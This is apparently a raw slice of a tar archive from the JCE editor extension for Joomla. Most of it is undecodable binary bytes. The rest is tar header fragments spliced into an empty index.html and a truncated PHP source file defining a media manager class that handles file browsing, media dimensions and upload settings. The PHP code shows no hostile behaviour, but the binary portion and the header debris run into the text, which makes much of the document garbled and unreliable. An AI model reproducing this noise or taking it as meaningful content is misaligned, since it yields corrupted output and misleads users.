cB����+�Bm���=�ڟ;ɭ�@�%���!�����8�X4�-��C[<���g2�6��<Y[ �u�<�؁9(�h��9A@�cn��b��"�ruʉh��U�]S�=	x��xߦ/*���(���0��Bo�F��Ԕ��2@9��E�6�.�4?q`��r�r��@I���>�I�q]�~:�3�9��Țc�`ҭV{78;_���\��_����9��E�g�� ��>��`9=�|��`U,�ՏoBkg�$"�s�O̗ӓ�+vY/����O�K�7�	pA�ŁeԪQq��U�`rf*a{�*�^S,�V�KApLz�S��e���5R~B`���I��Q�,bbDv��2e���Ɣ�Օ�A�.:_�iv`��(͠��u<��(Fr�S����8R�Ml��a�lBɚ����G,D]����Xw����
Rw�
�ᦈsM/��eO�K���݉�ԣ�ۼ��/y-�g�
��b�@5�'H�W4�d%����?�tM��l,,�W�2ńʕB4���R�����^v�12�����l$�	�eR���҇��`��CZ�4`a�4�� 6����ƃc&�:l'犦"�S�+
զ�K[
Y�-�� �$/�e��YS���[W��m����{Ғy}�K�1s���M�t���	;z�"�@o�A<#�V��>�RXS�F��/�<>��
�-I��DJq���J�|
bz��@�@��A��M%�*���B�
)��]޾AG(�'��bP#�$0D�00�E�ռ��+�*���GZxb*M���"$���z����—��
쵵�k�l0�:�@�L8�D��kH��@S�ĸ>ɐ���l�g)W��7�F���TN/٪�S��Ä�۠m5W��H��Y�y�n�i|�ŲTT�.�� �"��n�0%�Q��x
$��:y��Rp�����Q��g�m��S�9��um9+�{�kX���l�׌Äg	�W�0l�6�y(��Rd�Z�	A���m�H�k�6���/�=|�*_�5�`gP��/���C?��h|=�0��s��RX�Tğ���6$�!��:P"U[p1�;���	��ݝ�f��Z�=��d�����77޸v�)�3�.c��
�vO$��t�cp��T�A�؁57�M;� Z�����ba�7���+{B����G���9������}�����0m'bu5v)�Q5O�2&�p�%�xPه��s��Z
:>��i+iȵ����0��Ѱ)m�9�p�$�����
��q�L1@�V��clTR�9OB��z��2hWA�M�TP+̾�Y���0�;�������X�qH#Gw�O��ݔ[�KE��B�X�[�8�G�J�z��3��@��n��"z&�0�$���0X9Ua���'
v�����Hɇ�_e��n���K)حt�ƇzԚT�/E�6��kv�����k"a���Qn���e����o[� RM�}g0w&
0���$��)�qC�2���A�ǜ�Ԗ`{\gGDZ�I^[""S��]ڰ�)Bxm0E�1M-�B��	D����_[��/��+�����fK��/8i7!0T����
SM�c�����ɇAT�Ad�+�#����UZaɚg��{�P�~�`]��p$2h�����<�6�ɡ1Ŕ�ߕx���%C�a ��̡@�A�"�U�k���[����Y<�҅4�x��EeI_D�[ՋwX2� �V�%_3�8�QK�2Y$�cRE9a�����7ʊw`�?�U!I��e(}�Y_���a'ClmV�mT+T�J��6+��� <��)`������]�Iv��@T�!�W`Q�8��f�hDo�V�?�'�~cИ���\,yȖ
�{,)N���_�ߞ���*�U���+��ޢ��h?��"ɽܺd�`�Ȏ
4��.��XM�g$-��]�y�u���Jպ�G�J6&k}��@����NR���W�}�^
�7�;I�i��/W:�$�fd��H)YD���Z�����=av��� `SD�Ϥ�Q3��P��PeD����D�w�XO��������c>~J�������=8P�D6��G�-]���z�G�e�j�Q㿭��8�8g�7�
"�$˽��mx�,�d<{{v(H7s�;�Π��A�Pt9���|86S��V��'�bI��S.�������9�$�͸�WW��4r�Z�l���m*NZÅm�o=���A�-��_8�L���+������<]
&"M������R(��ђ��2��
��1GKˤߢF��ς@���#��G���OrϢ�̼�ˬz
GM�E���	H.FW�0�W����#�-V��'���:��,XD	=��B�xJ�5��>�\JB�|S��Q�U	P[�
6A�'�*�g�=�E�=.1#��9�H����%������~`�Z]}�
�����9�o�(-1�n�$D�����ڑ����_p�����"�� G�$/�۴�>���� |�(j�n��K��0z6sB7P,*�Ny��T�E�k�z��T��M���h^�hh4�ԯH��&#��Q?/&��s���Y��
�pW���`3���U���n0���by%Ee�ja�c�HKy!d�9CڸOB���Ҡ�$Ҡ��p=�c��8C� e�-m�͛�5�P��M.׷šg\�~�zɥ�fP2��(Tu����r�2�i/���E�4~�=����Z$�*�]�v؁}�k���Z"Q�⏢�@ 	���ŋ�?"��[ ���-i!���xM3�!)��=���\���\��[
RWo�b����gqs�}Lw/�"R�b)
i�r�i��B(HK8���4�Q��aLb&<X�,�%�k�H��a�%Hɦ�u8�G�Ё?�2���`��a��I��ET�pbkkG�J�nli���j3Q{�+w�g]��hgN~t)d
HdV���.Zl:������3PY�P
�=�!Sv�!��j��;��t�n
= \w�ZP�=D�(��	��<=P�}߈1��������l\6.m
�&+
�ܷsO�;�s?`���Tz8K;-������2�R�L(҃�#���f�aQ���aCU���ͳ�>`�rhE� &��V�IE6���(L�nC���1�c��(����};י2�hh
X��|�F��x%7������O&곫rl辧�-rؐ�g/��D�.&rOS��4_�Ҝ7��I��W7�����#]��9>��"N%�����\y��#�gެj	S��q�,��{\JL]e�WAW
m�b��P˃ߒ�T��	�j��5�S��ڭ?i�C;�
�(11�F�<�X<�l(���V9��OWC�1���f�����iV��D>BcVL��<�8ɫq��盼%�d�G$�Xm� ߌ�j�4j��p�=�a���Ɋ�Uᐌs���k�խ'�m��@�'LU��������GI���^�E��X�{�
��Ah��/C!9���8zDȌTA��)����Y��5�c�(�j�.�U;R]_�U`	@��f�ĵ��^�0�(�>/R	_N�Ҁz��[�4k5�Kt
�f��^N�j�:�}O����+���B�nQ�*��j�����I=p��>���C�Y��XK)fP�\D�Z1/ѻ���b��`@�wR������0���=�XX��Ob��BP��е|��8v��1*�c�0uT����)fF�Q��2q�3�7�!A�l��F��qmg/m_�NDg�6�TK�X8w��JI�r*na]TYYZ���HP���LI�4��4�xDH�ڝ��j��I؀��Y
�ėķX��ԟ����F�?t��H���*��O�	l��N���8��5��V9x(&#0�JZ�葧6w�ʭg���t�?`{rO���R�_�*�Sx�I���rϦn�d+�
L˽�+x/���g�Z�J��Za3|~vx�tD�&�J�	3�D�2ZP>���}�Jz�_uD��U0�v�v�Z��#M�b��Ųp�‹j�b�K���9�_4H��"�u?Q>�G�B�(:�ya���ߠ�-��L�A�ś�
�^H:�D���I��sqHQ �l�!�-d�u'�;sVb�B+�+�V�����n9��c�2C��|����Q*��:�����*�DU�quw;(�
�H��N�c�m�U���� LK�ױ����1}bM���b�<�橬0�ZB����I����`q�Rs��<R^Fp�\N�@��oi�I}���W��e�OÏ5I��
�s��W{���b(���gǩ�DK�S�+ F`v4��v>��!%�yȚI�G��DCHA��LV���C�N�*���c#>�*��lQ� 	�
�7�3+[`�۱mv��9�N�:g�<E��w�h�96�!���[�(N�09��6�J��M���F���@�ܮPQB�6Dkq�*���k��'��g?��I��E��*E�m#s.�A2�;4=-�#K�)��J�;7�%낂`����E�E}yL8<X��q��B/ā��LR���V��qyo�/�%�s�_jM:>��|���BH����/L�UZ�Țsm2�Ud��A�k�9��D���(�	��; y R��p�K��7D��讗ܐ�����,���_��rv
Jn�=+�������yS��?�:��`*�VB^>��:/ʶ����r��V"���T�]2��p���jW	F��F�#���
�'x9��&�WGD�"��m�/��@�B�^fڠud�8�/rӭ�D#)��QKI������.\N�R��#6TT �?o�|"�9�VL�Yt�K�,9�O�+��
�E��~��s��ojQ�Ĕs~�o�xP�cI-��L��c��:�%=���[��;0pO���,�GE��A��<G�E�������j�p�"!�@I����LL_ׯ$>`���hV̚H�����0�M�&w�(?㲍9ۡ�\�,g�s�9����ϔ�|IuG�<0��V"��m0e[<%��?֊��e����;c��mۅ��i�/�ߋ+(W� �o�!��KJ�)�N�.C��L�n���EB��`>m��^4�b:$K�"p-Q2��4L5M�g�����D���y�6 ��@�y0��P�#j�x `�	�'��_S	ipw�)Ȑv�#��@V� Y��b]O��c�T����!���l|��'8���F������,0�*'��C�;�
Za����1��劧�zY�-�b`��9K�o,@Q��\[�zy�Gd����N�1-��XN����k��1JZ��O���
j�M)	��JZ��9���)J@6�岂�hBF��A����<����W�B�r�V�����Ee̠�
=��;�~%LM���C��#��Ae�tf_��@ 
v?���b]�1�f�J5�lT
H��J���xS7Ǣ���I)��8�Rk�%M
�MwZЉ:BKn�� ?�V,EO�JE��B��߉�A��m� 1��I�	�;�7NS���he�����V�����V�e]�pʛ2{�(�؃cA�6+�:[}f0�XENW�*.�`@�;	�'����Ȟ0�U�@�׸��m�F�)��\<]�)ߊ�1 ~V�hʔw������nW#=��Q��Z�.��8�I�a����u",�m1i��y�'�ɇ�

��֧�@b��v�Pv�O����ihוt4:��@ D^���U�_�+��l���
�
�$�r$D1�������e;+bU�&sw�V���t��3��@�X��x �A���V�V���@�ާN�7�@�y��P#-~JFh.T��|�d��Q(�.�~Ι�r�>3[��Y�;�o�m���]�����O���������?�'O�#I�%�����o��4�'��͋����"oL03r�>��Zo�ͱKl*��{�	7د![���j��y70��*q�xL��
��Ο�|	�15��^dL4T.�Vuͫ�(������0[����O�{��@�_?
��`ŧ1\a���)$e���X�x�Ghf��)5>mH�/
J��BN#Ig匎	�Q��+�ox"��(�Ͷ�X��T4JQ�@�͠��8�
N�X��5[�J�TqV��8����L�Uh�NI�^�eW
��jC�"�F�ǀ/�\��wc�/���hv��-
M�V�.���9^kB)�*��,BKSbW׀��d��U���Ȋ�tV��_^�A��LkU�[�Ξ��ΧPv:�#�#��8���a��.�Dف��Ƅ��H������v��G!���Ƒ��W$қ���l�@�����̗�x̾p�������ń������(��
�C��n��8o�¥��O�Aˁ��0~}��^q��!��U�\
�'H���O�2O��8���"P��n�Sd����؎k�c<��,�yr�XS�7!Ժ}z�fIK������IVzT�Pa�,��!�������h12`���Mk^
#I>u�E�j�7��g�i�$�\��@\5*�=��Y�$��7�R�ua�?	J1
�uX�׺mV���
	_x\�
�bЗޯ_t�m��7�Q�1����y�`{+�R�ddE(⡄{�v�[`M�����mV�
F���p#���+�m舗�l�@�%�U�s<��نZK�ac�Rnn�10��c��eAzb�̃W
4�r&�]�lq�4w^��2�B���!#��Nj� �=��]��T@2!���T�����OuuV�  B(��TA��&��dZL�R������f��DZ�'5�Z�'�56�s0�ɂ��A	Ew���x>����db��`aL���Bmu_� H�Й�2�S�m����OU�ogB8����_8��8�O�T�c`��bT�A:�F��*-b�5��3V4�G��^��!�Մ$�}����I��Ȁ"t��⊦��)��|�&�i��CB�	d���8hC�j��lm�E9!�u���^�,x1�͌�>�#<c��}T�%�p:�}��-�|��Cq�	q�!��a�UJDV��-���!@��UT��C$w�^o�T��B"��G'Rd�n���&�DSz5��D��_�{���Q�&� @����(p�%hj<�-���0T-��;�1~�x��1�z2��n�e,:�l���䊆���cS�>���gD9_���8V
/���_�4� >/���p�;0�j�E�/��􏱕1
�bX�b�.X"X��I<O�jI�>��J|�ܨ	�g�v��PbI:b�Z�A�t�0EdP��$�eA�������G��&������*��(����l8����	"9	��axs4i�aG�hM
�q��	졾��ESA`�'���a�^��
Q����@���b2f�¾�^���|tA�ZNSL�w
��6?�t϶���ǒ�#$[����M���
�vŻ��q�؁>��H����(��h�j[MZ�G�CɳAA��[3O+q�1/N��j���2���ʧ��U6+u�TRn���XǤM��e�󓗝��{R�81ܜ��|��z<P��
�hc���š+(�@]*
�F����bA���$E�.�ߎ��~G�@ߟ��f�wbA ,��h �N�,�눖��b@Y�)�=��I��|�o3?_'��w�g;�j�}��쮤����QV����¶�{���\%*F�!a\C-��Մ�askmC�H̃���]��4C�*~E9~�<��)�l��[X�&���D�Μ}�����2$@;�Z@�!�zs�W�8B'^���E�D=����q;Y8����Q`���@Ђ��Ʀ��ùk�t�S� +��,��h|�*��Ƨڽ�8�u�h����܎/�k_6	�9L�Z�B(7�1i�w� �rrzO�H�E��v�3de��t|�c�G��V%H/�1�V���2Rz��]��k���7g��Mn�l�[�tr�/{@��g$]s2� Y�-�S��L&�ă��qF���Y8c��5���&`��er�ݳ�d�x�@�@w��E���;
JTc��j���U04Q�����F��PiF�d�|���nص�#,�Pj����
��V�N���6�A�O9E`�
�䂒|ݣx��!oC�*�L@�z�~O������i�=�t��<j�̓b�"r���f�S&Xr\����L�F$��d��g |uΡ�c2�Dk4�|��SBn�ђ,�1���
�ߏ��f�����$ R��6k��7�Ď04�K���5ߧ�l�:��Z��UD`�^�����p�vP�ƴ3o������
p��Q�r��q�j�ߠJ.�W��A���o��Ϯ�5P�÷�Ԋ��r���(
R`
FSm�&��[��و2�ō+m NaEC��W���B[h��pcl��q\/��������)��ѡP��D�:??���8&����c6�T���y�u1�/g"{3��1��x�Z�?��������~4��̥�P����G�g���;ǿ��G�b����9�7j��,_𿔌3���I��f�Y�6�f�%�Or%�ǖ[����'����@�����$��[�g�Zn�C�>yFb��	�Dϊ��Znj�VF^��Jy��>�]� �w*�k 6xV�q�ә-8�̚$�{�65J��¦K)ߐ�u��V�C'�R�'B"���Huӑud����\���DQ^�5�Y���"l���bZ/��V��.j�Tѷ.,�=a��-}!� �;L�ܼ�;�&���`�Zhos���T�A���u�ƒ��@�
�D�Ndf5��ǫ�=������v:V7?l/�X�K-\�tg��I
��P���"oع�B���GH����Ma���h[�KJ(��g�	`���:�)P $�m��PĠ�6P�*W`О�K�]����Ul��k��(RaB���n;xx��_Cw�%)@3�����h��ɺ/��u��XuP^�Ol��bK(��h�^��H&�iO�T�OH��U\�DEƌ�b�w_cl]���C1d�a:�Nzc��	d}Ķ0��B�����+cR8�"��y�|��?���h'X.eCRl:;��M�	7��)�V�דީ��o��&w
<��@(��S��#ۗ��h���X["�j�vV8��Mx±p�����vXM^�Cv��r���q+&fƒ���/ykD�@X����Õ���o��vE˓�u�-�_ǯ�(���{�A�]��Ș����qو�ә>*�ֆ�١�D�d-���EǴ �(��\OuEsHB<�7��Ó�5.��!��	��v�j�'���I�?3Μ��3"���s]� �`2��s5�ZW�5��;�ݚ:�c�<^%�.��e�@a5��(z"���YĀ���z���
 .Z��3��(�$�����sD uP �V�u�/b�ex����>�E�c��s���<� Qα��ovL,+��������6�c�	,���*�;.d$�i��@.ؓ�_!�F�B�[(�bC!��}�X��1\*M�iRZbF���t~]&�7~'r�j몕܇�}#��(����[�`ƈ<p+g�s@Ve����Q���{w��	a�
� TT\7����'��(B��Yܠ�
ע��t�D,x��=1��D�������Z{{�$53�Yd�����ؐ��1���~��I����"q�&h�L)�H�g�ŪE�U��߼Ģ�F��S�Y�\�����^�%vUѧ�+���ov�	t���Ir���39fH��8���v0Ӫrr��D,L��h��"�w�qdT�cr^��15�V_�X��M;"'7�7�����ӟ+rʮÆ;@�r�Z+�Z�� �Nf.5d2	��I�Yv���:>D)Y�p^�Q��:���l|�(�3)Ri�
m�0C�pE(bD��=F��������Zrz�Mc%���;�K��:�P�\ґjN���)��¨�y@�0F�+,=Q��zV��=h*Y!��+&F�LP�Pp�N���c�ʫ[�_ٴ��ݸofQ�x�'H�;���T�œ*9P��p�2��b'-Q~p`_���Qf��y�P���'�+��ȩi7q�p�]*[�*�0B>�~��A��@:��6�?XN��f�T)���q����XW�:�5<xX�Jq����X,fڅ\�t
(ێ�
�r."^�Ct�G�O]ޮ�&D�T��N�nk�rh[�]����|�`�x�KPO��EU���,	ePP���*WPU���h+�E�*�)A��Ġ�TGYF��>|�z�/Q�<w��Ax�|S�H��JC
��+��
K�����iI�9���N����u�ȑ�+e���5:����E�p�v�;W��E/�GW9E�"�'/w�V衋��u9�$��*=�3�s�TnRD�Ǚ�j(��	0��R�%��c�Y�j7�D�/^�U��1h�]�I@r��P%.�M�
��V�C��f\{o�/���LN�[و�F���F�j�
��_������dq$è�
Nq�V�F|%�2ۣ��-��;f��=�v���O>�-�"��UJT�{uq$�P
`�3.Ԃ�RH�$���BI<�!ݟ���y�Cݙ��8
R�
}����R����2����V�,	��T؝�6�G�-b�P,�6�t�5���zX@c��a0`0��
Aʷj�sLs�s��y�ͻ�����6�'�/�r�b4!�32q<�{+#'-*�q��c;-Oރٮ���u��\��!��E�݄��%{�g�a�g�3�C?���k�
��o��J-��}�\���,��-�'�:�٠����w��mP�.H����@�Ha��1�kM��(?��D��H(��йY�;A�;�d8)��п0�$��R跀�e�=wh#QBtF�����A3B�U))y�\v�>�
B��ò�i���S���2��܀hL-����]�G�F�!�ɹ�a���n�wۀ��r��
�i�=�>O��u��ng�,�4	����/��ur#&9|��]f�S8'�!��@��2)]������!vם��`����(T�j� �>
l�i|�,
0`G�k=���B���j��k��o��ao���O|˱GFꀖ~����t�D�)�uÎ39�z;��L��샼�y�̤���M4�1(Y���P���J�L�SgtUԍ[u��� �n��YY���57N�g��`�o��u�;*�1��HF�Ң�U�&��:"#�t�MD=!c=̠�U��o��C�7���	)�=�c�����0b�`;��l�B���{�dlF�Z�d��0�Ϣ߿�"�W�1��$Ԩ�q;C(��weUq������7��"�RS�m?�۽6N�(<��
�E�F��<�Ę���q�h=SP{�6Z~a��@��Ö��A�B���3���=�>���\F΄m���t?�Y:$`�gAC&���+o�2�TY��T#�O��x���H	�ΥN���}�j�C�]�`�5�&� 3(HQ���<�
J*t��P�7L=*�"�B�A��%ed���������	�#"F����Hy�#�u�g1�@��,��i��A2�1���@x%+��{%�R1�0q$;�y�B߹��W�L�`O _	00���F擎���u{�D���/�X��=_���/<�H�9�`Wmt��P�>�����D$5�Gg����B+WM,�C����4�(����u��z]�ā\F)�
�MI?�-�B��@(��Ǭ:n��.OK�њ����q��rGGL��
�`�V���l~#�$���dd����⸦�v�;�� ({\��f	�%\�`Iq!܍	D~�B���d|4n�B<�j@�i"5Ȼ ȇr#z!�D���8Tqp���c�G����:��c�����l:�q��Q�#���=P�j
b7���)FZ��
5��Q��1�$�,7�ñ����3f��q�cA�g���2�c`�A���A�:)TV�qh����.Y8��v"��쉁Y\&�Kh�1&�#D��B('n&�O@�qQ�A2b��U�'4Ad0P3,:�;`5�2�2�1�27�2H1�5�4�;d9�5�:�2�4�9 zPt�k�^�@
B1��4<!������O�7���D����	"@����($�G �v	�/�� P)��#PP����r��JAb�

��#�\@�A[�
p���?�Q��"4�`[`I4���}�;��p�.�e���X �)�l���_�������~����ߐ�����o�/�}���7�_��
����~�/���5吝�7�Yx���M������
>�Y�c�I�;��Hފ�z�t����éi��]R�5t��C�r��\{����z?�^�W��~�y��?\���N8���DŽn�9�.�e�nF�ÌNN8��G�wb��7�3n�v����v��w��6���m��F.,Ǥz�Ɲ��{Ø��?�d�MS��xk`n�~;�����]R�5eH$��uE ϲ��ťG����C�0�]��UD8�pU�>���|	��i����.��Z,�����Ԃ�1*9��*<� �q�1 z�3[J���w&it�
l$(q��rN%��6��@v�����g|l�:3�!E��P#{��o���taˠA3��
�a��@�?�X�~��8Z��1�5W�9����ȩ��=k�`�yir���N@�MJ��X��bn���R���C�(�T+MQ�4H</�O�cyzi0`hEB��*�p*|�e����14����4	�Kl��?7`Nc4q�a�``됁H3b!3!w�|!D�X	�m��xu�ݒX�����z�&���s_K��^���Hu�BQID���B�vD�pFgӗJ%�Ѭ� ML)��^��<Ӥ>�=s��Wk���<�Nߓ�#�ƨ�/ʸ
�.6pZ�,5�Z��!,#NA<q��B��B����<�/+�8|�͟t@�@�y��K%
dNO�3�J꽜�؝q=m;ug�OXjA~>*��IP2�^�U�#9P��8(�<RBH\iĝ��
�2a����	���ȫe�i�!�x
�<��L�0kl��!��1����<Aa��8~�j�,DY�9,�I�VQ���
e�S9 aRj�|V��HU�B�h�zUѧ��E��D�L�"�Lh̿�����NH1�7����#epi�e���r��ğ3�BeߎZQ�3�3�:�\,��B�hN�9%�6�Y��2�8AFP$hT�"���hH9�r(ϲjB�K�h�g'����ŷ}$
?B���6л(GT��}O\�h<�j��`�D�Φ�^XD���Nu=9@Jf�i�Z0�7��5O����A
��-�)��j���~�T������T�_�v�H�X��)���S;p&|�6���)�:Jz�n���ѣ�KME3�Ն�3����gQj��XC0�
�#�&8O���.^��!�1s�r�!�����f��Lm�Tf'cMz�Ǵ��-PX�,r���fຌ�,T�Bv������q2���d{��L�7y7�C��#T�ژ8�	cRo��J!��K�c�jI�E�_B�R�0P[Ŧ T�޿o[���|d/���"@J=���b"�n�VXʢ~f�,��T��ǵ~i�ς
�*iR
')%ub�`(]�1ad�撗/,���1f�G`���*�#W^-�>A�H����n�D��0��d:w�ck$#+�$��R٥��6?ꉩ�(�$���	�c��B��l�G��B�g�
yX���.�X��@�*�m5�01��.y_�������Q�.�g��Q����|Dq�(����PJ��`�L�sT_�5٦���xc$1����:�0.s�	�qE�$]A�?��Z�BP�By �Y�Nr
�K�c.��9"!��+lj%^{�'B��ؙ���J�}�$r��>��RR1k`�h�aߜ>�23��݇)�ؓ4y+��i%����{�0D�W�l�[ºU�����bp�
�'"�8�gi��>؁���� )�����9<SGSsf,=taT�q�ktV2�k��:�X�6�-�!t~�D�+Ҟk^YY<b���Ǜ�羂S1��Ϋ��ST���c�k���͉"E4�y����]#�4?�ވ?�o�{bl����k������A-GRF2@!a-c�tDD����8�)�M�IM;a`ʴA+�mR#��K��r��z���������) ^(N��Є���i�_��2z�gr�A0HCf7�MՐ�"'�	,;0�4W��d6L6�L���^T�Wc%��J�z?-�f��EnCt̂���\	Hz�`�^$D�X�omt8z�@�6]�6�?qW/?�fWzR?�/�����e�Zb�QO�%�g�ʋ�iCd��6d���"
�=m�*����)vm�����a��~co�I��%���d����,pt:��R�EG�k���
���O�j�^��}�9T��9�N�;�P��6	�Pi����o�²F�}E#@n4	P3kۭ�{H�t�p�m@���W����b^6p����eP	k�-��6�:e�6��ڻ�j�
��6y(�}J(��f���˒*�Р�U��no��oY��E�0���F�ױ�m�BH6��l�s2��u�ʟ2�)��md�3J<x5�IbD���]B;EC���J����SM`��1���urڢ���� �*�9pV��TQ�@әK�i<��Ɛ*f��j*vn��%�λ&
Q?������k�ѮjF��)j>���>~&
���t
�
!�?U�Q��$�s��&��`�[�Sx�K�m����h���<��'�\`��r횻h�OƐ�e{F�W&��9b�>���W��@ʫES�ޢM
rR��(�s�K)F�cz�Tg��l��q*��H�J50�$����"�q T�:,F@���G�)�qp�Ԧ�1�&S�ĀƳ���g#��.��T��\`�'k���O�Q��p���J���|�
��%2�D�Ol���J0�
�N��$�Cl�� �ǫ�ƥ��˅�t�!�Wo�HA�����հ�䰫ġ��ėG$!z^ؽ(/YP@$�8PV"+-
�B���:HN������l��m�e���-������U�JO]�A*�&�����R2�-�%�D��!|��U��9�8�%7���^�Q�GC�editor/libraries/classes/manager/index.html000060400000000054150750527150015054 0ustar00<html><body bgcolor="#FFFFFF"></body></html>editor/libraries/classes/manager/base.php000060400000025552150750527150014514 0ustar00<?php

/**
 * @copyright     Copyright (c) 2009-2019 Ryan Demmer. All rights reserved
 * @license       GNU/GPL 2 or later - http://www.gnu.org/licenses/old-licenses/gpl-2.0.html
 * JCE is free software. This version may have been modified pursuant
 * to the GNU General Public License, and as distributed it includes or
 * is derivative of works licensed under the GNU General Public License or
 * other free or open source software licenses
 */
defined('_JEXEC') or die('RESTRICTED');

// Load class dependencies
wfimport('editor.libraries.classes.plugin');
wfimport('editor.libraries.classes.browser');

class WFMediaManagerBase extends WFEditorPlugin
{
    protected $_filetypes = 'jpg,jpeg,png,gif';

    private static $browser = array();

    public function __construct($config = array())
    {
        // use the full "manager" layout by default
        if (!array_key_exists('layout', $config)) {
            $config['layout'] = 'manager';
        }

        if (!array_key_exists('view_path', $config)) {
            $config['view_path'] = WF_EDITOR_LIBRARIES.'/views/plugin';
        }

        if (!array_key_exists('template_path', $config)) {
            $config['template_path'] = WF_EDITOR_LIBRARIES.'/views/plugin/tmpl';
        }

        // Call parent
        parent::__construct($config);

        // initialize the browser
        $browser = $this->getFileBrowser();
        $request = WFRequest::getInstance();

        // Setup plugin XHR callback functions
        $request->setRequest(array($this, 'getDimensions'));
        $request->setRequest(array($this, 'getFileDetails'));
    }

    /**
     * Get the File Browser instance.
     *
     * @return object WFBrowserExtension
     */
    protected function getFileBrowser()
    {
        $name = $this->getName();
        $caller = $this->get('caller');

        // add caller if set
        if ($caller) {
            $name .= '.'.$caller;
        }

        if (!isset(self::$browser[$name])) {
            self::$browser[$name] = new WFFileBrowser($this->getFileBrowserConfig());
        }

        return self::$browser[$name];
    }

    protected function addFileBrowserAction($name, $options = array())
    {
        $this->getFileBrowser()->addAction($name, $options);
    }

    protected function addFileBrowserButton($type, $name, $options = array())
    {
        $this->getFileBrowser()->addButton($type, $name, $options);
    }

    protected function addFileBrowserEvent($name, $function = array())
    {
        $this->getFileBrowser()->addEvent($name, $function);
    }

    public function getBrowser()
    {
        return $this->getFileBrowser();
    }

    /**
     * Display the plugin.
     */
    public function display()
    {
        parent::display();

        $document = WFDocument::getInstance();
        $layout = JRequest::getCmd('layout', 'plugin');

        $view = $this->getView();
        $browser = $this->getFileBrowser();

        $browser->display();
        $view->assign('filebrowser', $browser);

        $options = $browser->getProperties();

        // map processed root directory
        $options['dir'] = $browser->getFileSystem()->getRootDir();

        // set global options
        $document->addScriptDeclaration('FileBrowser.options='.json_encode($options).';');
    }

    public function getFileTypes()
    {
        return $this->getFileBrowser()->getFileTypes('array');
    }

    protected function setFileTypes($filetypes)
    {
        return $this->getFileBrowser()->setFileTypes($filetypes);
    }

    private function getFileSystem()
    {
        $filesystem = $this->getParam('filesystem.name', '', '', 'string', false);

        // if an object, get the name
        if (is_object($filesystem)) {
            $filesystem = isset($filesystem->name) ? $filesystem->name : 'joomla';
        }

        // if no value, default to "joomla"
        if (empty($filesystem)) {
            $filesystem = 'joomla';
        }

        return $filesystem;
    }

    protected function getID3Instance()
    {
        static $id3;
        if (!is_object($id3)) {
            if (!class_exists('getID3')) {
                $app = JFactory::getApplication();
                // set tmp directory
                define('GETID3_TEMP_DIR', $app->getCfg('tmp_path'));

                require_once WF_EDITOR_LIBRARIES.'/classes/vendor/getid3/getid3/getid3.php';
            }

            $id3 = new getID3();
        }

        return $id3;
    }

    protected function id3Data($path)
    {
        jimport('joomla.filesystem.file');
        clearstatcache();

        $meta = array('width' => '', 'height' => '', 'time' => '');

        $ext = JFile::getExt($path);

        $filesize = null;

        // limit filesize for flv and webm
        if (preg_match('#\.(flv|f4v|webm)$#i', $path)) {
            $filesize = 128;
        }

        // Initialize getID3 engine
        $id3 = $this->getID3Instance();
        // Get information from the file
        $fileinfo = @$id3->analyze($path, $filesize);
        getid3_lib::CopyTagsToComments($fileinfo);

        // Output results
        if (isset($fileinfo['video'])) {
            $meta['width'] = isset($fileinfo['video']['resolution_x']) ? round($fileinfo['video']['resolution_x']) : 100;
            $meta['height'] = isset($fileinfo['video']['resolution_y']) ? round($fileinfo['video']['resolution_y']) : 100;
        }

        if (isset($fileinfo['playtime_string'])) {
            $meta['time'] = $fileinfo['playtime_string'];
        }

        if ($ext == 'swf' && $meta['x'] == '') {
            $size = @getimagesize($path);
            $meta['width'] = round($size[0]);
            $meta['height'] = round($size[1]);
        }

        if ($ext == 'wmv' && $meta['x'] == '') {
            $meta['width']  = round($fileinfo['asf']['video_media']['2']['image_width']);
            $meta['height'] = round(($fileinfo['asf']['video_media']['2']['image_height']));
        }

        return $meta;
    }

    public function getDimensions($file)
    {
        $browser = $this->getFileBrowser();
        $filesystem = $browser->getFileSystem();

        $path = WFUtility::makePath($filesystem->getBaseDir(), rawurldecode($file));

        $data = array();

        // images
        if (preg_match('#\.(jpg|jpeg|png|gif|bmp|wbmp|tif|tiff|psd|ico)$#i', $file)) {
            list($data['width'], $data['height']) = getimagesize($path);

            return $data;
        }

        // svg
        if (preg_match('#\.svg$#i', $file)) {
            $svg = @simplexml_load_file($path);

            if ($svg && isset($svg['viewBox'])) {
                list($start_x, $start_y, $end_x, $end_y) = explode(' ', $svg['viewBox']);
                
                $width 	= (int) $end_x;
                $height	= (int) $end_y;
                
                if ($width && $height) {
                    $data['width'] 	= $width;
                    $data['height']	= $height;

                    return $data;
                }
            }
        }

        // video and audio
        if (preg_match('#\.(avi|wmv|wm|asf|asx|wmx|wvx|mov|qt|mpg|mpeg|m4a|swf|dcr|rm|ra|ram|divx|mp4|ogv|ogg|webm|flv|f4v|mp3|ogg|wav|xap)$#i', $file)) {

            // only process local files
            if ($filesystem->get('local')) {
                $data = $this->id3Data($path);
                $data['duration'] = preg_match('/([0-9]+):([0-9]+)/', $data['time']) ? $data['time'] : '--:--';

                unset($data['time']);

                return $data;
            }
        }

        return $data;
    }

    /**
     * Get the Media Manager configuration.
     *
     * @return array
     */
    protected function getFileBrowserConfig($config = array())
    {
        $filetypes = $this->getParam('extensions', $this->get('_filetypes'));
        $textcase = $this->getParam('editor.websafe_textcase', '');

        // implode textcase array to create string
        if (is_array($textcase)) {
            $textcase = implode(",", $textcase);
        }

        $filter = (array) $this->getParam('editor.dir_filter', array());

        // remove empty values
        $filter = array_filter($filter);

        // get directory from parameter
        $dir = $this->getParam('dir', '', '', 'string', false);

        // fix Link plugin legacy "direction" conflict
        if ($this->get('caller') === 'link') {
            // get directory from File Browser parameters
            $dir = $this->getParam('browser.dir');
            // if value is empty, use editor parameter
            if (empty($dir)) {
                $dir = $this->getParam('editor.dir');
            }
        }

        $websafe_spaces = $this->getParam('editor.websafe_allow_spaces', '_');

        if (is_numeric($websafe_spaces)) {
            // legacy replacement
            if ($websafe_spaces == 0) {           
                $websafe_spaces = '_';
            }
            // convert to space
            if ($websafe_spaces == 1) {
                $websafe_spaces = ' ';
            }
        }

        $base = array(
            'dir' => $dir,
            'filesystem' => $this->getFileSystem(),
            'filetypes' => $filetypes,
            'filter' => $filter,
            'upload' => array(
                'max_size' => $this->getParam('max_size', 1024, '', 'string', false),
                'validate_mimetype' => (int) $this->getParam('editor.validate_mimetype', 1),
                'add_random' => (int) $this->getParam('editor.upload_add_random', 0),
                'total_files' => (float) $this->getParam('editor.total_files', 0),
                'total_size' => (float) $this->getParam('editor.total_size', 0),
                'remove_exif' => (int) $this->getParam('editor.upload_remove_exif', 0),
            ),
            'folder_tree' => $this->getParam('editor.folder_tree', 1),
            'list_limit' => $this->getParam('editor.list_limit', 'all'),
